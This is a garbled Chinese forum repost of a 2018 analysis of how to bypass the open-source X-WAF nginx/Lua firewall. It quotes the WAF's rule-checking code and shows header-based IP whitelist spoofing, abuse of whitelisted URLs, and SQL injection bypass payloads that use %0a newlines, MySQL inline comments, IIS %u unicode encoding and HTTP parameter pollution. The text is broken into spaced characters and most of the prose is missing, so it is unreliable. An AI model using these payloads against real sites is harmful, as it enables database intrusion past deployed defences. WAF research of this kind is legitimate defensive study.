[856] 2018-04-20_分析绕过一款适合练手的云WAF

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-16
2018-04-20_分析绕过一款适合练手的云WAF   W A F   B y p a s s     2 0 1 8 - 0 4 - 2 0   #   , 2 4 7 B y p a s s W e b X - W A F     W A F   便   W A F   W A F   姿   W A F   B y p a s s 0 x 0 1   h t t p s : / / w a f . x s e c . i o > g i t h u b   h t t p s : / / g i t h u b . c o m / x s e c - l a b / x - w a f X - W A F   访   S Q L   0 x 0 2   n g i n x _ c o n f   r u l e s   i n i t . l u a   a c c e s s . l u a c o n f i g . l u a     u t i l . l u a     w a f . l u a     w a f . l u a     2 6 2 - 2 7 4     - -   w a f   s t a r t f u n c t i o n   _ M . c h e c k ( )         i f   _ M . w h i t e _ i p _ c h e c k ( )   t h e n         e l s e i f   _ M . b l a c k _ i p _ c h e c k ( )   t h e n         e l s e i f   _ M . u s e r _ a g e n t _ a t t a c k _ c h e c k ( )   t h e n
        e l s e i f   _ M . w h i t e _ u r l _ c h e c k ( )   t h e n         e l s e i f   _ M . u r l _ a t t a c k _ c h e c k ( )   t h e n         e l s e i f   _ M . c c _ a t t a c k _ c h e c k ( )   t h e n         e l s e i f   _ M . c o o k i e _ a t t a c k _ c h e c k ( )   t h e n         e l s e i f   _ M . u r l _ a r g s _ a t t a c k _ c h e c k ( )   t h e n         e l s e i f   _ M . p o s t _ a t t a c k _ c h e c k ( )   t h e n         e l s e                 r e t u r n         e n d `   I P     w h i t e _ i p _ c h e c k ( )     5 0 - 6 4     - -   w h i t e   i p   c h e c k f u n c t i o n   _ M . w h i t e _ i p _ c h e c k ( )         i f   c o n f i g . c o n f i g _ w h i t e _ i p _ c h e c k   = =   " o n "   t h e n                 l o c a l   I P _ W H I T E _ R U L E   =   _ M . g e t _ r u l e ( ' w h i t e i p . r u l e ' )                 l o c a l   W H I T E _ I P   =   u t i l . g e t _ c l i e n t _ i p ( )                 i f   I P _ W H I T E _ R U L E   ~ =   n i l   t h e n                         f o r   _ ,   r u l e   i n   p a i r s ( I P _ W H I T E _ R U L E )   d o                                 i f   r u l e   ~ =   " "   a n d   r u l e m a t c h ( W H I T E _ I P ,   r u l e ,   " j o " )   t h e n                                         u t i l . l o g _ r e c o r d ( c o n f i g . c o n f i g _ l o g _ d i r ,   ' W h i t e _ I P ' ,   n g x . v a r _ r e q u e s t _ u r i ,   " _ " ,   " _ " )                                         r e t u r n   t r u e                                 e n d                         e n d                 e n d         e n d   I P     I P     I P     g e t _ c l i e n t _ i p ( )     u t i l . l u a     8 3 - 9 6     - -   G e t   t h e   c l i e n t   I P f u n c t i o n   _ M . g e t _ c l i e n t _ i p ( )         l o c a l   C L I E N T _ I P   =   n g x . r e q . g e t _ h e a d e r s ( ) [ " X _ r e a l _ i p " ]         i f   C L I E N T _ I P   = =   n i l   t h e n                 C L I E N T _ I P   =   n g x . r e q . g e t _ h e a d e r s ( ) [ " X _ F o r w a r d e d _ F o r " ]         e n d         i f   C L I E N T _ I P   = =   n i l   t h e n                 C L I E N T _ I P   =   n g x . v a r . r e m o t e _ a d d r         e n d         i f   C L I E N T _ I P   = =   n i l   t h e n                 C L I E N T _ I P   =   " "         e n d         r e t u r n   C L I E N T _ I P e n d   I P     X _ r e a l _ i p X _ F o r w a r d e d _ F o r   I P r u l e s   w h i t e i p . r u l e   I P     I P 8 . 8 . 8 . 8     H T T P     H e a d e r     I P     8 . 8 . 8 . 8     x - w a f   B y p a s s   [ { " I d " : 7 4 , " R u l e T y p e " : " w h i t e i p " , " R u l e I t e m " : " 8 . 8 . 8 . 8 " } ]
  I P     b l a c k i p . r u l e     8 . 8 . 8 . 8   I P     I P   C C     I P   I P     u r l     w h i t e _ u r l _ c h e c k ( )     f u n c t i o n   _ M . w h i t e _ u r l _ c h e c k ( )         i f   c o n f i g . c o n f i g _ w h i t e _ u r l _ c h e c k   = =   " o n "   t h e n                 l o c a l   U R L _ W H I T E _ R U L E S   =   _ M . g e t _ r u l e ( ' w r i t e u r l . r u l e ' )                 l o c a l   R E Q _ U R I   =   n g x . v a r . r e q u e s t _ u r i                 i f   U R L _ W H I T E _ R U L E S   ~ =   n i l   t h e n                         f o r   _ ,   r u l e   i n   p a i r s ( U R L _ W H I T E _ R U L E S )   d o                                 i f   r u l e   ~ =   " "   a n d   r u l e m a t c h ( R E Q _ U R I ,   r u l e ,   " j o i " )   t h e n                                         r e t u r n   t r u e                                 e n d                         e n d                 e n d         e n d e n d   U R L     r u l e s     r u l e   w r i t e u r l . r u l e     w h i t e U r l . r u l e   u r l   [ { " I d " : 2 , " R u l e T y p e " : " b l a c k i p " , " R u l e I t e m " : " 8 . 8 . 8 . 8 " } , { " I d " : 3 , " R u l e T y p e " : " b l a c k i p " , " R u l e I t e m " : " 1 . 1 . 1 . 1 " } ]
使   n g x . r e . f i n d     n g x . v a r . r e q u e s t _ u r i     r u l e     u r l     / n e w s /   :         - -   d e n y   u r l   a r g s f u n c t i o n   _ M . u r l _ a r g s _ a t t a c k _ c h e c k ( )         i f   c o n f i g . c o n f i g _ u r l _ a r g s _ c h e c k   = =   " o n "   t h e n                 l o c a l   A R G S _ R U L E S   =   _ M . g e t _ r u l e ( ' a r g s . r u l e ' )                 f o r   _ ,   r u l e   i n   p a i r s ( A R G S _ R U L E S )   d o                         l o c a l   R E Q _ A R G S   =   n g x . r e q . g e t _ u r i _ a r g s ( )                         f o r   k e y ,   v a l   i n   p a i r s ( R E Q _ A R G S )   d o                                 l o c a l   A R G S _ D A T A   =   { }                                 i f   t y p e ( v a l )   = =   ' t a b l e '   t h e n                                         A R G S _ D A T A   =   t a b l e . c o n c a t ( v a l ,   "   " )                                 e l s e                                         A R G S _ D A T A   =   v a l                                 e n d                                 i f   A R G S _ D A T A   a n d   t y p e ( A R G S _ D A T A )   ~ =   " b o o l e a n "   a n d   r u l e   ~ =   " "   a n d   r u l e m a t c h ( u n e s c a p e ( A R G S _ D A T A ) ,   r u l e ,   " j o i " )   t h e n                                         u t i l . l o g _ r e c o r d ( c o n f i g . c o n f i g _ l o g _ d i r ,   ' G e t _ A t t a c k ' ,   n g x . v a r . r e q u e s t _ u r i ,   " - " ,   r u l e )                                         i f   c o n f i g . c o n f i g _ w a f _ e n a b l e   = =   " o n "   t h e n                                                 u t i l . w a f _ o u t p u t ( )                                                 r e t u r n   t r u e                                         e n d                                 e n d                         e n d                 e n d         e n d         r e t u r n   f a l s e e n d   - -   d e n y   p o s t f u n c t i o n   _ M . p o s t _ a t t a c k _ c h e c k ( )         i f   c o n f i g . c o n f i g _ p o s t _ c h e c k   = =   " o n "   t h e n                 n g x . r e q . r e a d _ b o d y ( )                 l o c a l   P O S T _ R U L E S   =   _ M . g e t _ r u l e ( ' p o s t . r u l e ' )                 f o r   _ ,   r u l e   i n   p a i r s ( P O S T _ R U L E S )   d o                         l o c a l   P O S T _ A R G S   =   n g x . r e q . g e t _ p o s t _ a r g s ( )   o r   { }                         f o r   k ,   v   i n   p a i r s ( P O S T _ A R G S )   d o                                 l o c a l   p o s t _ d a t a   =   " "                                 i f   t y p e ( v )   = =   " t a b l e "   t h e n                                         p o s t _ d a t a   =   t a b l e . c o n c a t ( v ,   " ,   " )                                 e l s e i f   t y p e ( v )   = =   " b o o l e a n "   t h e n                                         p o s t _ d a t a   =   k                                 e l s e                                         p o s t _ d a t a   =   v [ { " I d " : 7 3 , " R u l e T y p e " : " w h i t e U r l " , " R u l e I t e m " : " / n e w s / " } ] / t e s t / s q l , p h p / n e w s / ? i d = 1 / t e s t / s q l , p h p ? i d = 1 & b = / n e w s / M . u r l _ a r g s _ a t t a c k _ c h e c k ( ) M . p o s t _ a t t a c k _ c h e c k ( )
                                e n d                                 i f   r u l e   ~ =   " "   a n d   r u l e m a t c h ( p o s t _ d a t a ,   r u l e ,   " j o i " )   t h e n                                         u t i l . l o g _ r e c o r d ( c o n f i g . c o n f i g _ l o g _ d i r ,   ' P o s t _ A t t a c k ' ,   p o s t _ d a t a ,   " - " ,   r u l e )                                         i f   c o n f i g . c o n f i g _ w a f _ e n a b l e   = =   " o n "   t h e n                                                 u t i l . w a f _ o u t p u t ( )                                                 r e t u r n   t r u e                                         e n d                                 e n d                         e n d                 e n d         e n d         r e t u r n   f a l s e e n d 使   n g x . r e q . g e t _ u r i _ a r g s n g x . r e q . g e t _ p o s t _ a r g s     u r i     p o s t   使     r u l e     S Q L   ` s e l e c t . + ( f r o m | l i m i t ) ( ? : ( u n i o n ( . * ? ) s e l e c t ) ) ( ? : f r o m W + i n f o r m a t i o n _ s c h e m a W ) ` 姿 姿 % 0 a 使   j o i     % 0 a   / s q l . p h p ? i d = 1   u n i o n % 0 a s e l e c t   1 , s c h e m a _ n a m e , 3 % 0 a f r o m   / * ! 1 2 3 4 5 i n f o r m a t i o n _ s c h e m a . s c h e m a t a * / 姿 姿 % u     I I S     u n i c o d e   / s q l . a s p x ? i d = 1   u n i o n   s e l e c % u 0 0 5 4   n u l l , t a b l e _ n a m e , n u l l   f r o % u 0 0 4 d   i n f o r m a t i o n _ s c h e m a . t a b l e s r u l e m a t c h ( d a t a ,   r u l e ,   " j o i " )
姿 姿 H P P + G P C 使   G P C   ,   a p s x     B y p a s s / s q l . a s p x ? i d = 1   u n i o n / * P O S T : I d = 2 * / s e l e c t   n u l l , s y s t e m _ u s e r , n u l l 0 x 0 3     W A F   B y p a s s     W A F   W A F     B y p a s s 姿

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则